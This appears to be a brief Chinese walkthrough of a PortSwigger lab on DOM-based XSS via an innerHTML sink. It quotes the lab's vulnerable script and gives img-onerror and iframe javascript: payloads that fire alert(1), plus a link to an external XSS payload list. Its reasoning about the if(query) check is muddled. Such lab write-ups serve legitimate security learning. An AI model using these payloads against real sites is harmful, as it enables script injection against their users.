burpsuite靶场----XSS----DOM型XSS2
靶场地址
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
XSS字典
链接:https://pan.baidu.com/s/1XAJbEc4o824zAAmvV85TOA
提取码:1234
正式开始
1.先输入一定的字符串确定位置
2.查看源码 发现没有找到输入的字符串
3.分析核心html源码
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
出现了window.location.search,下面还写了
if(query) {
doSearchQuery(query);
}
要想触发这个if(query)条件,就要使用能够有搜索功能的标签,所以有以下payload
<img src=x one rror=alert(1)>
<iframe src=javascript:alert(1)>
触发if条件,完成目标